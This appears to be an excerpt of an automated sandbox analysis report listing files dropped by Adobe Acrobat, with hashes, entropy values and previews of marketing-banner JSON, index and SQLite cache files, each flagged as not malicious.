MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3405954340707495
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPire1GnZiQ0YkcyoAvJM3g98kUwPeUkwRe9:YvXKXIeQcoGMbLUkee9
MD5:	B902A632B1FFCDD6789D34FD74537087
SHA1:	642913773CDFC0ECB3830E9D2F73B33CD77F1E7A
SHA-256:	0F937986B10E749027E3A62DBA7CE821F3653C85B75736A6DF8F2942A4F403EB
SHA-512:	162A41407DAC56FB7C9849B950D340E7941302426E5BDC5A9648ACB8CF58492A9D539EF68143776D186F29CE2BB1415FB82C1D4EE2073BA39E60131114153D17
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"84a9aa9b-70b9-4935-ad08-f87c1c8fa09e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736706964514,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.292653133374248
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPire1GnZiQ0YkcyoAvJfBoTfXpnrPeUkwRe9:YvXKXIeQcoGWTfXcUkee9
MD5:	C62476670C2B6580E1F3610AFAE16CA3
SHA1:	6D252ACFE7D65F3365F85FAE65B9D4937E77F1DC
SHA-256:	431C3C3135172D0000B5691D82D0FAFB2DA3535E057EC1F5F4865FED4E5B594D
SHA-512:	E9570C02FDE720294836A34593529113D9DEE2D9CD4A16B600CA3727F87DB1DA0BB8F172BD6D9D6932CA10AB4F07676A81EF3C92BF3103626868FDA4DFB65DA7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"84a9aa9b-70b9-4935-ad08-f87c1c8fa09e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736706964514,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.270912628732055
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPire1GnZiQ0YkcyoAvJfBD2G6UpnrPeUkwRe9:YvXKXIeQcoGR22cUkee9
MD5:	7F699E780517C8F1572FF27C655A7425
SHA1:	65D13EEBF9C65C9717D22361D4C0389A70A4BE98
SHA-256:	15356CB0EEDE411796445507C0CE8D3E168B314581233D14B2A2551E94373552
SHA-512:	0D3F6F4C2084441C2A86927ED73F5C693EED9D10FA5E947B960537EE05CE2188E6149C8E80CA81FCB4727A7BE5E82F601B669578EB7EAF92578CA934463C9610
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"84a9aa9b-70b9-4935-ad08-f87c1c8fa09e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736706964514,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.319819134217267
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPire1GnZiQ0YkcyoAvJfPmwrPeUkwRe9:YvXKXIeQcoGH56Ukee9
MD5:	B8934339EEC75BB6C0AF5D3590B97505
SHA1:	AB71BF00F3A0B8532310883B29149378D09F01FC
SHA-256:	078D1DE5F3C4A00D3BED3714D66BCC9336C3D663EB651B46FE53E2E3D44EA0EA
SHA-512:	05A271D962012B407CFF005E29B241004C64C48A170943F52A09369A081F475AE137D61E5B34AD1301B08A9BF1F54E702F59E792EFCD547D61E75C3273D7E45F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"84a9aa9b-70b9-4935-ad08-f87c1c8fa09e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736706964514,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.686142481007835
Encrypted:	false
SSDEEP:	24:Yv6XjFlpLgE9cQx8LennAvzBvkn0RCmK8czOCCS6:YvyDhgy6SAFv5Ah8cv/6
MD5:	7E3248850266AE22D94EBE5D0EE9164B
SHA1:	DC87ABCED90FE377A80177077D2670BAEE184B2B
SHA-256:	C618C2A09B220899D1EFBB0F676ECEEFAAED5F5342B433C9A5D457D8D7612C03
SHA-512:	9E9502C2B6F16F0A4E62500A979D903F1C4A85CED43A275A4BD75F7CA6EBDD7A89AD2C0800BDC6495008A025A66F597C3570D29684158320373D5ABE66C7E40F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"84a9aa9b-70b9-4935-ad08-f87c1c8fa09e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736706964514,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.269688324647202
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPire1GnZiQ0YkcyoAvJf8dPeUkwRe9:YvXKXIeQcoGU8Ukee9
MD5:	1561BFF391423144615F56ED9A321684
SHA1:	976610A0FF7087F7B9D732D1E8CF77BC5902205B
SHA-256:	A97D3A67A2FA1BE17C3B06E4F0DC287D1D9B487C92B68308FE769F3A7D5EAD9C
SHA-512:	A93363625611B2E35EA2F908DB58E93999B1EAEAC609A77E451AA99CEB83C5CBB92E843D0D0C6698FE46013716210E2233343F6E833C253FDF8959377AA2CD5C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"84a9aa9b-70b9-4935-ad08-f87c1c8fa09e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736706964514,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.273768382579659
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPire1GnZiQ0YkcyoAvJfQ1rPeUkwRe9:YvXKXIeQcoGY16Ukee9
MD5:	132E514FCF10C18A27F137EB748DBC1E
SHA1:	3CC926029A9739C0769389D8187F1C00EB559B1C
SHA-256:	CC6E95947F746B083BDD048F97910A7EA2E16523E9BB4844F76CB8DE36DC5457
SHA-512:	A31C0E1F1389D53EB2208178BC04FAD424D6570D9602AA09538BF29C80732596D7805F3AC8E4F23EF693D4E798EEA82FFD68B178A64B598BBE538B1315428136
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"84a9aa9b-70b9-4935-ad08-f87c1c8fa09e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736706964514,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.281178033084368
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPire1GnZiQ0YkcyoAvJfFldPeUkwRe9:YvXKXIeQcoGz8Ukee9
MD5:	098261511E516D571C583D260ED7F2BB
SHA1:	55BDC41CA6C4AA455196B4D9A8E13D883425CEA5
SHA-256:	00DE42331DF19AD4EC4ABF7AF127376B9505F3A4D4A6E0CC62EBE23D7852F8F3
SHA-512:	705AC5087D76583DC0572A5B1C2E0EF1BB92DB384169BD193E97BA4915AA83BA98B248794C548B24FDB17B0DE4453F71368FB80B41B488D258DF72734751992C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"84a9aa9b-70b9-4935-ad08-f87c1c8fa09e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736706964514,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.296495268533392
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPire1GnZiQ0YkcyoAvJfzdPeUkwRe9:YvXKXIeQcoGb8Ukee9
MD5:	BBE87E7D012BA65507FBF80B813442C0
SHA1:	DE93B0B866B564741218C615A8D5E1A495D88E9F
SHA-256:	688E88444771138B3BEAC5C60B9B2FB15E4511ADFE82845E563A323A1FC913FA
SHA-512:	9573F4862C5C6A8A3384764FC2223693508D204A9F327A6966AAD201B96AE017C20047E8343FA7E10DA399DD4131B99D987BB5A3A61E1095A3639DEBA89E7C86
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"84a9aa9b-70b9-4935-ad08-f87c1c8fa09e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736706964514,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.277454278232996
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPire1GnZiQ0YkcyoAvJfYdPeUkwRe9:YvXKXIeQcoGg8Ukee9
MD5:	6185F3E7176C55A29A1B2135E92A6601
SHA1:	A9CF13C9A6F4A93C5C77D15D344275ED051D6B3C
SHA-256:	B8F899FF9A633B93334A81FD77DA13900F92CA5C06FAABDF9E5498D01EC74ADA
SHA-512:	77EB2FDC7FBD246E9D6DFDC2AC657E5AAFD9184F8A0A720C0FF8A759C4165F63018BC0106C5F9116FF59D78F50E8297696AD5FEA8C8B57F9234BC6E7A8B3EE23
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"84a9aa9b-70b9-4935-ad08-f87c1c8fa09e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736706964514,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.263107719334618
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPire1GnZiQ0YkcyoAvJf+dPeUkwRe9:YvXKXIeQcoG28Ukee9
MD5:	FBE4BB54342A8E20FEE8569A0E1C3326
SHA1:	7E85557E06AB0975796129BFA0E1195E905766EF
SHA-256:	8A03289FC52CB473BBE5905EDB0BA4C4B1BFA4F152BDA5CCFCC75F67419FC1D4
SHA-512:	20678A2B32F1A94C4AA71AB645C0F426165EE46045D1F7B0BED4F90DACFA9BD5F978B014BE667C0EF64256B3EA9CDDB4E8F530A392F09A3479969CFF12852C8F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"84a9aa9b-70b9-4935-ad08-f87c1c8fa09e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736706964514,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.261156329321065
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPire1GnZiQ0YkcyoAvJfbPtdPeUkwRe9:YvXKXIeQcoGDV8Ukee9
MD5:	62A0B0F23A7E7341478DECA21EB02CE0
SHA1:	F4A39023603DBB83ADAF3AD0A7BCA81A3A8F39E6
SHA-256:	1D44915F10F6345D6C442009BD6DBCFEAC7D08746585F77F4B2B26635DDE531A
SHA-512:	D049F5FC3F338EB6D8C2E6F749C2B9205C365B7D05A1A00828B69B3E3A1EF25F3D4FC47F616FCF27CAC37FBA5758C24AC92E8487ACD74E0D6328A08604B43F75
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"84a9aa9b-70b9-4935-ad08-f87c1c8fa09e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736706964514,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.265065551264092
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPire1GnZiQ0YkcyoAvJf21rPeUkwRe9:YvXKXIeQcoG+16Ukee9
MD5:	728C5E47BDE78F63BC3DC5EEC24EA375
SHA1:	48DF2E88B7AD9753299C221F5DCC1413C2E07D41
SHA-256:	D2E4E9F92868563AFD3A15D0BE4E5EF17FAF0598713CA2F70D1274A6010F822C
SHA-512:	D5931C09CE9B52D8C7EDDF1F83299C6D129FAFD72D989D140C2C63A297D6D13130A8F9AF96C5B66FAFBE6FC265ACB366E77A7F734A3AE9DAEDE482512DA1E3AB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"84a9aa9b-70b9-4935-ad08-f87c1c8fa09e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736706964514,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.663951630995137
Encrypted:	false
SSDEEP:	24:Yv6XjF9amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS6:YvyjBgkDMUJUAh8cvM6
MD5:	6EA896979D26A0F8A50B594551F77DFF
SHA1:	19BB7D33DA038F3FBDEFB67D39410830E59058F0
SHA-256:	B8FC9C9DBDBA0F6D1AF6FB0513E0677BD9094F378C5920ED33BD49CE7495A163
SHA-512:	C97D58A478A03756FD8AF255A3BCFDC6F72C78A7DDA02F8C78E8EE20E1FF73759742636C6EC2046F9D925EEEA4B3A5744119258ABEA9FA92474747B134266666
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"84a9aa9b-70b9-4935-ad08-f87c1c8fa09e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736706964514,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.241776494337254
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPire1GnZiQ0YkcyoAvJfshHHrPeUkwRe9:YvXKXIeQcoGUUUkee9
MD5:	C860A1137960554871F52D5378C48BC9
SHA1:	E6A834658831E5820A7A259868859340A20C108B
SHA-256:	EE60CEF42722D350EAEDC336070A011538E2107E863C067B1D0EDF6F1CC11A87
SHA-512:	FE29B22DCEB7ACEA9023BC67999792EF0742B7A3688AB81D2CAE52E9269636582E8B32CD19B497DF364035D003E552EF5DEBA0B69C3B326B538E96AF83007AEB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"84a9aa9b-70b9-4935-ad08-f87c1c8fa09e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736706964514,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2549730593105295
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPire1GnZiQ0YkcyoAvJTqgFCrPeUkwRe9:YvXKXIeQcoGTq16Ukee9
MD5:	761B85823A6C3EFA4DE5B2C360D00C8D
SHA1:	A59E15CB699E45A6D734A17A27C9ED45D6DFF4B4
SHA-256:	ED305890411A61D90B49CE5889C201946B64309048E7DAFD8350635FDA70A9B7
SHA-512:	A95D115326C720A3612BA12FC72371BC94661532F2B5F77E430422678D9949B5974047AB7351F7265159508EF50CD01424BBE11F6524980D8AD274C2FB1FD7B0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"84a9aa9b-70b9-4935-ad08-f87c1c8fa09e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736706964514,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.139876682301041
Encrypted:	false
SSDEEP:	24:YeZ19agayJI0KPwXJBIpWUuAxz7eK2Kjvj0SKvcUe2EX3x2LSkCUQ+Jv14M/OB55:YGb/xbkdxV70+5mBQ+J94M/wcDV9uJX
MD5:	FCBAC5B8403D60820985E2B92520EEBF
SHA1:	BA5FA1FE5CE32AF550D8DEE833A2FF2951C5F6B2
SHA-256:	DFCE747BD446DF4435F1B8B1D26C1099DE26B61127963F226DF3C5DC84E9F399
SHA-512:	AC1247660C40825EE5EFCFB9FC8F8A27EAF9F8B971C02AF6623F76A504BD1C5420FEEC8D031277857BFD7E94CD0B5DA4DFDC9BDC58B191524A6421C5E47AA844
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"e84110c05810b34262b478257e853df5","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736528734000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"7e56907849e2d937745c0f0ac511b7d4","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736528734000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"21b74e1bf346e88e91f9136228797707","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736528734000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"26d1252dd5465a27c653615b4f0f1db0","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736528734000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"39a54766b014fda617d741bc01c69360","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736528733000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"18bc1f08281c6083ca57d06c181f742c","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1457070195578525
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursiunRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUud/:TFl2GL7msiiXc+XcGNFlRYIX2v3kH0
MD5:	C93CB9BE7FF43B945C503D0B2C0A2F29
SHA1:	CAD0B5BE483256378F45C3A46814B8AEFE6CF833
SHA-256:	CD9F21B1802E4B94967DD241145E98D2C55ECABE372F64FC18F693C7C7B6BBAF
SHA-512:	F9FF20F30170FEB49CFEE5E83D93197A11A525FABB454288B1F487CAF36D79C583FD5EBDA0AB4B5EED17D6387344A3EFB42F85759AA12596ECFD1E0DFD0111E9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.549858752628603
Encrypted:	false
SSDEEP:	24:7+tw0unUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxfpqLxx/k:7MD9Xc+XcGNFlRYIX2v8pqVl2GL7msS
MD5:	1BE47618D04958C3009EDA9BE2AA73A7
SHA1:	2B52DC9105407A8DEBD08C4FDE1F16A7C10FB55C
SHA-256:	1F02CD00799621EA88437058EC4BA99A77CE410D8B03EC86CDA8B238DB6EC30D
SHA-512:	34E1FD977DEA2E3D7D1F6C8D8E747923618C2FB5D2E43E841B18CAA4B1C1FDF000C34550E6797972CC11C98AECD2D01A24AAB24C967CF4B19347992C1BF2CC5C
Malicious:	false
Preview:	.... .c...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEguVLcRo0+C4wMm1UFJFqGRepLYyu:6a6TZ44ADEuVoH+C4k1U8LK
MD5:	580CE1703E3FB30BAF25B17ACB482E76
SHA1:	CF55E310862CB26AD2710D60F7DE7654509DFD10
SHA-256:	FEEFCC3B6E5EF2B9E168CAA83A552CA658F27457C67B9215E8733ACA5F28CD5E
SHA-512:	8AEE7D3B8C11F589CBE56AC0CD5C38AA858BC654D7F281CD0EDB0027B5ED94C6E6C4E80D628D02767066805F1134F76E1E5BD17DB7F4A35AA2A00040999DE26B
